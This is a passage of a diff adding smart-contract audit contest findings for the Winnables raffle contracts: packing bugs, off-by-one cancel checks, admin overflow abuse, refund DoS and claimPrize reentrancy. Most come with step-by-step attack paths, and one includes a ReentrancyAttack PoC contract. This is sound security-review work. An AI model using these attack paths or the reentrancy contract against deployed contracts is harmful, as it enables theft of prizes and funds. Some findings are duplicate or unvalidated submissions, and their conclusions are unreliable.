`bytes32` value is incorrect. The shift operation (`chainSelector << 160`) is misaligned, leading to an incorrect `counterpart` value. + + + +### Impact + +The `_ccipReceive` function relies on the `counterpart` value generated by `_packCCIPContract` to verify the sender of the CCIP message. Due to the incorrect `counterpart`, the function fails to recognize valid CCIP contracts and erroneously triggers the `UnauthorizedCCIPSender` revert. This prevents the contract from processing the raffle, leading to the inability to lock the raffle prize and cancel the raffle if the message is invalid. This has critical implications for the functionality of the cross-chain raffle system, as no new raffles can be initiated. + +### Code Snippet + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +} +``` + +### PoC + +```solidity +function testPackCCIPContract() public pure returns (bytes32) { + // Example input values + address contractAddress = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; + uint64 chainSelector = 100; + + // Expected output: 0x0000000000000000000000645b38da6a701c568545dcfcb03fcb875f56beddc4 + // Actual output due to the bug: 0x0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 + return _packCCIPContract(contractAddress, chainSelector); +} + +``` + + +### Mitigation + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + (uint256(chainSelector) << 160) | uint256(uint160(contractAddress)) + ); +} +``` diff --git a/001/270.md b/001/270.md new file mode 100644 index 0000000..258861a --- /dev/null +++ b/001/270.md @@ -0,0 +1,50 @@ +Funny Pickle Grasshopper + +Medium + +# `_checkShouldCancel` doesn't revert for the case when tickets sold are equal to minimum ticket threshold due to insufficient check. + +## Summary +- The `_checkShouldCancel` simply returns to the caller function if Raffle is to be cancelled otherwise it reverts. +- It was expected that it should also revert, if tickets sold are exactly equal to minimum threshold or more than threshold. +- But it doesn't revert when tickets sold are exactly equal to minimum ticket threshold due to incorrect check. +- As a result of which even if the supply reaches minimum ticket threshold, the Raffle is cancellable and a malicious user can call `cancelRaffle` function. Thus, leaving an eligible Raffle into a cancelled Raffle and the lucky participant will not get the prize. + +## Vulnerability Detail +- The vulnerability is present in the `_checkShouldCancel` function where it doesn't revert for the case when supply is exactly minimum ticket threshold (when Raffle end time has reached). +- This occurs due to the below check (represented by @>). Here, it only reverts if supply is more than minimum threshold, but it is also expected to revert when supply is exactly minimum tickets threshold. +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +@> if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +- As a result of this incorrect check, it doesn't revert and simple returns which means that the calling function can continue with cancellation for the above discussed case. +- Thus, resulting in a cancellation of Raffle which was eligible of drawing a winner and would be left without a winner. + +## Impact +- Raffles can be cancelled by malicious user for the case when supply is exactly minimum tickets thresholds, resulting in Raffle cancellation and no winner chosen. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440 + +## Tool used +Manual Review + +## Recommendation +Correct the check as below: +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/271.md b/001/271.md new file mode 100644 index 0000000..4d97e18 --- /dev/null +++ b/001/271.md @@ -0,0 +1,83 @@ +Custom Rosewood Bear + +High + +# Admin can overwrite owner of the winning ticket using integer overflow + +### Summary + +The `WinnablesTicket.mint` function uses `unchecked` block to update tickets supply allowing for integer overflow. The Winnables admins can exploit the integer overflow bug after declaration of the winning ticket to overwrite the winning ticket owner address by decreasing the absolute ticket supply value to the winning ticket number and then minting a new ticket. + +As a result, the integer overflow bug allows admins to violate the following principles which must always hold true: + +> - Winnables admins cannot do anything to prevent a winner from withdrawing their prize +> - Admins cannot affect the odds of a raffle + +### Description + +Definition of the [`WinnablesTicket.mint`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function: + +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + // @audit integer overflow + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + // [...] + } +``` + +Exploit Scenario: + +- Raffle (id = `1`) has ended and in total ,users bought `2**25` tickets. + - `WinnablesTickets._supplies[1] == 2**25` +- Winner is drawn for the raffle: CCIP fulfills the request and the randomWord is filled for Raffle `1` in the WinnablesTicketManager contract. + - Winner is the owner of ticket `1337` +- Admin gives ticket manager role(`Role(1)`) to an EOA and performs 2 transactions before the `WinnablesTicketManager.propagateRaffleWinner` function is called + 1. `WinnablesTicketManager.mint(to = Y, id = 1, amount1)` + - amount1 = `type(uint256).max - _supplies[1] + winningTicket + 1`; + - `winningTicket` is `1337` => `amount1 = 115792089237316195423570985008687907853269984665640564039457584007913096086841` + - After the tx: `_supplies[1] = 1337` + 2. `WinnablesTicketManager.mint(to = Z, id = 1, amount2)` + - amount2 = `2**25 - 1337 = previousSupply - winnintTicketNumber` + - After the tx: `_ticketOwnership[1][1337] == Z`, `_supplies[1] == 2**25` +- The `propagateRaffleWinner` function is called and the new winner is the admin controlled address `Z` + + + +### Root Cause + +Use of `unchecked` block for adding supplies amount in the [`mint`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L191) function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin can overwrite the owner address of the winning ticket after the winner is determined. Admin can perform this for all open raffles, users lose all the locked eth at the time of attack. + +### PoC + +_No response_ + +### Mitigation + +Remove the use of `unchecked` block and perform checked operations or Consider enabling only the `WinnablesTicketManager` contract to call `mint` operation. \ No newline at end of file diff --git a/001/272.md b/001/272.md new file mode 100644 index 0000000..210cfca --- /dev/null +++ b/001/272.md @@ -0,0 +1,49 @@ +Tart Clay Hippo + +Medium + +# WinnablesTicketManager.sol#_checkShouldCancel - Wrong check allows raffle to be canceled even though it shouldn't be + +## Summary +Wrong check allows a raffle to be canceled even though it shouldn't be. + +## Vulnerability Detail +Users are allowed to cancel a raffle with `cancelRaffle` and return their money. A raffle can be canceled if three conditions are met: +- the raffle status is IDLE +- the raffle ended +- the raffle supply is **LESS** than the minimum allowed. + +These checks are done inside `_checkShouldCancel`: +```js + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; // pass + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); // pass + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); // pass + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +As we can see, the last if checks that the `supply` is more than the `minTicketsThreshold`. If that's true, the cancellation is not allowed and it will revert. However, if the `supply` is equal to the `minTicketsThreshold` this check will pass and the raffle can be canceled. The problem is, if the `supply` is equal to the `minTicketsThreshold` the raffle is eligible and should not be canceled. + +## Impact +Wrong check allows a raffle to be canceled even though it shouldn't be. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L440 +## Tool used + +Manual Review + +## Recommendation +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/273.md b/001/273.md new file mode 100644 index 0000000..06105c6 --- /dev/null +++ b/001/273.md @@ -0,0 +1,69 @@ +Faithful Smoke Hawk + +Medium + +# Admin can affect the odds of a raffle in some case + +### Summary + +Admin can set `maxHoldings = maxTicketSupply` in raffle and players who buy all tickets is 100% guaranteed to win. + +### Root Cause + +Contest readme: +> The principles that must always remain true are: +Admins cannot affect the odds of a raffle + +In `createRaffle` function, `maxHoldings` can be set equal to `maxTicketSupply`. +For example in [testnet competetion 18](https://testnet.winnables.com/competitions/18), `maxHoldings` is equal to `maxTicketSupply`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274 + +### Internal pre-conditions + +1. Raffle's `maxHoldings` is equal to `maxTicketSupply`. + +### External pre-conditions + +1. A player have enough AVAX to buy all tickets. + +### Attack Path + +1. This player call `buyTickets`. The input of `ticketCount` is equal to `maxTicketSupply`. + +### Impact + +1. This player is 100% guaranteed to win. +2. Admin impacts odds of raffle by setting inappropriate paramater. + +### PoC + +_No response_ + +### Mitigation + +```diff + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); + if (maxTickets == 0) revert RaffleRequiresTicketSupplyCap(); + if (maxHoldings == 0) revert RaffleRequiresMaxHoldings(); ++ require(maxHoldings < maxTickets); + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); + + raffle.status = RaffleStatus.IDLE; + raffle.startsAt = startsAt; + raffle.endsAt = endsAt; + raffle.minTicketsThreshold = minTickets; + raffle.maxTicketSupply = maxTickets; + raffle.maxHoldings = maxHoldings; + + emit NewRaffle(raffleId); + } +``` \ No newline at end of file diff --git a/001/274.md b/001/274.md new file mode 100644 index 0000000..8786c60 --- /dev/null +++ b/001/274.md @@ -0,0 +1,55 @@ +Strong Sangria Yak + +High + +# Raffle Cancellation by Unauthorized Users + +## **Description:** +The `cancelRaffle` function in the `WinnablesTicketManager` contract allows any user to cancel a raffle by calling the function, provided that specific conditions are met. However, this function lacks proper access control, meaning that any user can invoke it, which poses a potential vulnerability. + +The conditions for triggering the cancellation include receiving a `_ccipReceive` message from a cross-chain source, which changes the state of the raffle by executing the following code: + +```solidity +_raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; +``` + +Once the raffle's status is set to `PRIZE_LOCKED`, the `cancelRaffle` function can be called because it internally invokes `_checkShouldCancel`. The `_checkShouldCancel` function, in turn, returns early when the following condition is met: + +```solidity +if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +``` + +This condition allows the cancellation process to proceed under certain scenarios, even if the intention was to prevent such an action. + +When the `createRaffle` function is called, the initial state of the raffle might not prevent an unauthorized user from canceling it. + +## Proof of Concept +1. **Scenario 1**: + - A raffle is created and eventually the `_ccipReceive` function is triggered. + - The status of the raffle is updated to `PRIZE_LOCKED`: + ```solidity + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + ``` + - An unauthorized user can now call the `cancelRaffle` function, which will execute successfully because `_checkShouldCancel` returns early: + ```solidity + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + ``` + - The raffle is canceled without any restrictions, potentially causing financial loss and disrupting the raffle process. + +2. **Scenario 2**: + - The `createRaffle` function is called to create a new raffle. + - Due to the lack of proper access control, an unauthorized user can trigger the `cancelRaffle` function soon after the raffle is created. + - If the initial state of the raffle does not adequately prevent unauthorized cancellation, the raffle is prematurely canceled, leading to unexpected behavior and potential financial losses. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + + +## Impact +- **Disruption of Operations:** An unauthorized user can cancel raffles, disruption of the raffle system. + + +## Tool used + +Manual Review +## Recommendation: +Implement Role-Based Access Control Using OpenZeppelin's Role Library \ No newline at end of file diff --git a/001/275.md b/001/275.md new file mode 100644 index 0000000..e4e6885 --- /dev/null +++ b/001/275.md @@ -0,0 +1,174 @@ +Savory Chiffon Gazelle + +Medium + +# Incorrect Packing of `Address` and `Chain Selector` in `BaseCCIPContract.sol::_packCCIPContract` Leads to Improper Mapping Key Generation + +### Summary + + +The function `BaseCCIPContract::_packCCIPContract` in the `BaseCCIPContract` contract is intended to create a `bytes32` mapping [`key`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L11-L15) by packing an `address` into the lower 160 bits ([0...159](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L13)) and a `chainSelector` into the higher 64 bits [(160...223).](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L14) + +However, due to incorrect bitwise operations, the function fails to correctly position the `chainSelector`, resulting in an incorrect mapping key. This can cause incorrect mappings in the `_ccipContracts mapping`, potentially leading to mismatches and failures in cross-chain communication. + + + +### Root Cause + +In the function `BaseCCIPContract.sol::_packCCIPContract` [code](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L45) +```javascript +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +``` +`uint256(chainSelector << 160)` shifts the `chainSelector` to the left by 160 bits `before converting it to a uint256`. This causes a problem because `the shift operation is performed while chainSelector is still a uint64`, meaning the result of the shift is still a `uint64` before it gets cast to a uint256. + +For example: +In `BaseCCIPContract.sol::_packCCIPContract` +if we pass: +1. `contractAddress = 0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59` +2. `chainSelector = 16015286601757825752` + +-> Then the bytes32 it is returning is: `0x0000000000000000000000000bf3de8c5d3e8a2b34d2beeb17abfcebaf363a59` +-> But according to [The Logic](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L11-L15) it should return `0x00000000de41ba4fc9d91ad80bf3de8c5d3e8a2b34d2beeb17abfcebaf363a59` where `0bf3de8c5d3e8a2b34d2beeb17abfcebaf363a59 is the contract address denoting (0...159)` and `41ba4fc9d91ad80 is the chainSelector in HexaDecimal denoting (160...223)` + +### Internal pre-conditions + +1. `contractAddress` needs to be a valid Ethereum address. +2. `chainSelector` needs to be a 64-bit unsigned integer representing the chain selector. + +For `any` `chainSelector` and `a particular contractAddress` value, the `BaseCCIPContract.sol::_packCCIPContract` will return the same value always. + +### External pre-conditions + +The contract depends on the correct packing of `contractAddress` and `chainSelector` to generate mapping keys. + +### Attack Path + +- **Initialization of Counterpart Contracts:** + - The administrator calls the `setCCIPCounterpart` function in either the [`WinnablesPrizeManager::setCCIPCounterpart`)](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L134-L140) (on Ethereum) or [`WinnablesTicketManager::setCCIPCounterpart`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L238-L244) (on Avalanche) to set approved counterpart contracts. + - The function `_packCCIPContract` is called internally to generate a `bytes32` key from the `contractAddress` and `chainSelector`. + - Due to the incorrect bitwise operation, the `chainSelector` value is not accurately represented in the generated key. + +- **Cross-Chain Communication:** + - When a cross-chain message is sent to the contract, the `_ccipReceive` function is triggered in both [`WinnablesPrizeManager::_packCCIPContract`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L260-L278) and [`WinnablesTicketManager::_packCCIPContract`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365-L388). + - The function `_packCCIPContract` is called again to generate the key to verify the counterpart contract. + - Due to the improper handling of the `chainSelector`, the key generated might not match the correct approved counterpart stored in the `_ccipContracts` mapping. + +- **Message Rejection:** + - The cross-chain message verification fails because the keys do not match. + - The contract reverts with an `UnauthorizedCCIPSender` error, even if the message was sent from a legitimate counterpart contract. + - This prevents valid cross-chain operations, such as locking prizes or propagating raffle results, potentially disrupting the entire raffle process. +- **Impact on Raffles:** + - If the legitimate cross-chain messages are consistently rejected, the raffle system fails to function as intended. + - Prizes may not be unlocked or claimed, leading to a loss of trust in the system and possible financial losses for users. + +### Impact + +1. The protocol may fail to correctly identify or authenticate the correct cross-chain contract due to improper key generation. +2. This could lead to failed transactions or the inability to properly handle cross-chain messages. +3. This can lead to the rejection of valid cross-chain messages, causing the raffle system to malfunction. This could result in locked prizes, disrupted raffle operations, and loss of trust in the platform. + +### PoC + +The test file in foundry, where I have re-written the function `_packCCIPContract` to test it. + +Code: +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; + +import {Raffle} from "../src/BaseCCIPContractTest.sol"; + +contract RaffleTest is Test { + address owner = address(0x1); + + function _packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +@> uint256(chainSelector << 160) + ); + } + + function setUp() public {} + + function test_packCCIPContract() public { + vm.startPrank(owner); + bytes32 x = _packCCIPContract(address(0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59), 16015286601757825752); + console.logBytes32(x); + vm.stopPrank(); + } + +} +``` + +Output: +```javascript +Logs: + 0x0000000000000000000000000bf3de8c5d3e8a2b34d2beeb17abfcebaf363a59 +``` + +This output only contains the `address` and not the `chainSelector` + +### Mitigation + +To fix the issue, the `chainSelector` should be properly combined with the `contractAddress` to ensure that both are accurately represented in the resulting bytes32 value. The corrected function is: + +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ (uint256(chainSelector) << 160) + ); +} +``` + +### This change will work because: +`(uint256(chainSelector) << 160)` first converts `chainSelector` to a `uint256` and `then shifts the result to the left by 160 bits`. This ensures that the shift operation is applied to a 256-bit value, preserving all the bits of chainSelector during the shift. + +This produces the correct output where both the address and chainSelector are represented accurately in the bytes32 value. + + +### Proof after resolving the issue +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; + +import {Raffle} from "../src/BaseCCIPContractTest.sol"; + +contract RaffleTest is Test { + address owner = address(0x1); + + function _packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + (uint256(chainSelector) << 160) + ); + } + + function setUp() public {} + + function test_packCCIPContract() public { + vm.startPrank(owner); + bytes32 x = _packCCIPContract(address(0x0BF3dE8c5D3e8A2B34D2BEeB17ABfCeBaf363A59), uint64(16015286601757825752)); + console.logBytes32(x); + vm.stopPrank(); + } + +} +``` +#### Output: +```javascript +Logs: + 0x00000000de41ba4fc9d91ad80bf3de8c5d3e8a2b34d2beeb17abfcebaf363a59 +``` + +The output correctly includes both the `contractAddress` and the `chainSelector` because the `shift` is correctly applied to a `uint256`. diff --git a/001/276.md b/001/276.md new file mode 100644 index 0000000..26a8789 --- /dev/null +++ b/001/276.md @@ -0,0 +1,74 @@ +Broad Red Skunk + +Medium + +# DoS of refund process + +## Summary +In refunding process, users can get their participation money back but due to revert line in for loop, attacker can stop execution easily. +## Vulnerability Detail +In Winnables system, if a raffle is cancelled, refunding process can be executed in batch execution. The following function is used for refunding process. + +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); +&> if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } + function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + (bool success, ) = to.call{ value: amount }(""); +&> if (!success) revert ETHTransferFail(); + } + +``` + +The problem arise in 2 lines, first one is "revert" line and second one is '_sendETH()' line. Because of revert keyword, it won't continue to refund the other players money. We also know that players can also join the raffle with written contracts and if they didn't implemented receive() payable fallback in order to accept ETH to contract it also reverts and execution will be failed. + +## Proof of Concept + +Scenario 1: + +- A raffle event is cancelled by the authority +- Admin wants to refund in batch execution ( Let say 100 people joined the raffle ) +- Admin called refund with correct 100 players data +- Attacker see the execution in the execution queue and he frontrunned refund function only with the last person of players[] array which is the parameter of the admin's call +- Attacker's call is executed and last person gets his refund. +- Admin's call will be failed because players[last_index] is already refunded and the function will revert the execution +- Result: Batch execution is failed also admin paid all the gas of the all the others refund. + +Scenario 2: +- A raffle event is cancelled by the authority +- Admin wants to refund in batch execution ( Let say 100 people joined the raffle ) +- Admin called refund with correct 100 players data +- Let say the player at index 0 is a contract address and it doesn't have payable fallback function +- This transfer will fail because of success check +- Result: Whole execution will be failed. + +## Impact +Batch refund execution is impossible or really hard to process +Sabotaging the system's main functionality + +Admin also can't guess which contract is implemented payable fallback, so it's really hard to process batch execution in this scenario. + + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L485 + +## Tool used + +Manual Review + +## Recommendation +Instead of reverting the for loop, 'continue' keyword will be much better than revert in order to execute batch refunding process. \ No newline at end of file diff --git a/001/277.md b/001/277.md new file mode 100644 index 0000000..f3e6e96 --- /dev/null +++ b/001/277.md @@ -0,0 +1,40 @@ +Soaring Rusty Dragon + +Medium + +# Admin can prevent raffle winner from claiming their reward + +### Summary + +By whitelisting their address and sending a WINNER_DRAWN CCIP message to PrizeManager, Admin can steal the raffle prize, which breaks the invariant from README: + +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +### Root Cause + +In WinnablesPrizeManager, Admin can [add/remove](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L134) any address as CCIP counterpart at any time. + +### Internal pre-conditions + +A raffle is able to reach REQUESTED stage (enough tickets were sold). + +### Attack Path + +1. Admin sends NFT (or token/ETH) to PrizeManager. +2. Admin calls PrizeManager#lockNFT. +3. Admin calls TicketManager#createRaffle. +4. Raffle (ticket sale) ends successfully. +5. drawWinner is called. +6. Admin adds himself as PrizeManager's CCIP counterpart and sends WINNER_DRAWN CCIP message with his own address as `winner` to PrizeManager; Admin removes TicketManager from PrizeManager's CCIP counterparts. +7. Chainlink VRF request from step 5 is fulfilled. +8. TicketManager#propagate is called, which propagates Alice as the winner of the raffle, but CCIP message reverts on the destination chain with `UnauthorizedCCIPSender()`. +8. Admin claims reward from PrizeManager. + + +### Impact + +Admin steals the raffle reward. + +### Mitigation + +Admin should not be able to add or remove CCIP counterparts during Raffles. \ No newline at end of file diff --git a/001/278.md b/001/278.md new file mode 100644 index 0000000..7098375 --- /dev/null +++ b/001/278.md @@ -0,0 +1,119 @@ +Polite Inky Gibbon + +High + +# The claimPrize function of WinnablesPrizeManager has a reentrancy vulnerability, which can be exploited by the winner to claim the reward multiple times + +### Summary + +The claimPrize function of WinnablesPrizeManager has a reentrancy vulnerability, which can be exploited by the winner to claim the reward multiple times: +```solidity +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` +In the function, the logic to check and update `rafflePrize.status` to `RafflePrizeStatus.CLAIMED` is implemented at the end of the function, not at the beginning. + + +### Root Cause + +The claimPrize function of the WinnablesPrizeManager contract does not follow CEI, resulting in a reentrancy vulnerability: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124 +```solidity +/// @notice (Public) Send the prize for a Raffle to its rightful winner + /// @param raffleId ID of the raffle + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +### Internal pre-conditions + +1. The attacker only needs to be the winner + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker uses a malicious contract to participate in raffles and becomes a winner +2. After becoming a winner, the attacker can call the claimPrize function of the WinnablesPrizeManager contract, triggering a reentrancy vulnerability and claiming rewards multiple times (e.g. claiming ETH multiple times) + +### Impact + +The rewards in the `WinnablesPrizeManager` contract can be claimed multiple times by the winner using a reentrancy attack + +### PoC + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import "./WinnablesPrizeManager.sol"; + +contract ReentrancyAttack { + WinnablesPrizeManager public target; + uint256 public targetRaffleId; + + constructor(address _target, uint256 _raffleId) { + target = WinnablesPrizeManager(_target); + targetRaffleId = _raffleId; + } + + // Fallback function to receive ETH and re-enter claimPrize + receive() external payable { + if (address(target).balance >= 1 ether) { + target.claimPrize(targetRaffleId); + } + } + + function attack() external { + target.claimPrize(targetRaffleId); + } +} +``` + +### Mitigation + +Change the claimPrize function as follows: +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/279.md b/001/279.md new file mode 100644 index 0000000..d214e03 --- /dev/null +++ b/001/279.md @@ -0,0 +1,13 @@ +Damaged Sable Guppy + +High + +# Reentrancy in `claimPrize` still exists in the code under audit + +## Summary + +The code under audit contains function [WinnablesPrizeManager::claimPrize](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124), which allows to claim prizes multiple times via a trivial reentrancy attack: the code doesn't adhere to the checks-effects-interactions pattern, so upon sending the funds e.g. via [_sendETHPrize](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L316) the receiving function can reenter `claimPrize` and claim the prize repeatedly. + +The issue has been raised already in the [Peckshield audit](https://github.com/Winnables/public-contracts/blob/main/audits/2024-08-05-Peckshield-Audit-Report.pdf), and fixed in [commit dd62e8a](https://github.com/Winnables/public-contracts/commit/dd62e8a), but for some reason the fix has not propagated to the code being audited in this contest, so I feel obliged to report the issue. + +It should be noted also that the same root cause (reentrancy in `claimPrize`) opens the doors for other exploits: e.g. by claiming the ETH prize twice, the locked ETH balance tracked via `_ethLocked` variable will be off, and will lead to bricking the protocol (e.g. [this check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L181) will revert). \ No newline at end of file diff --git a/001/280.md 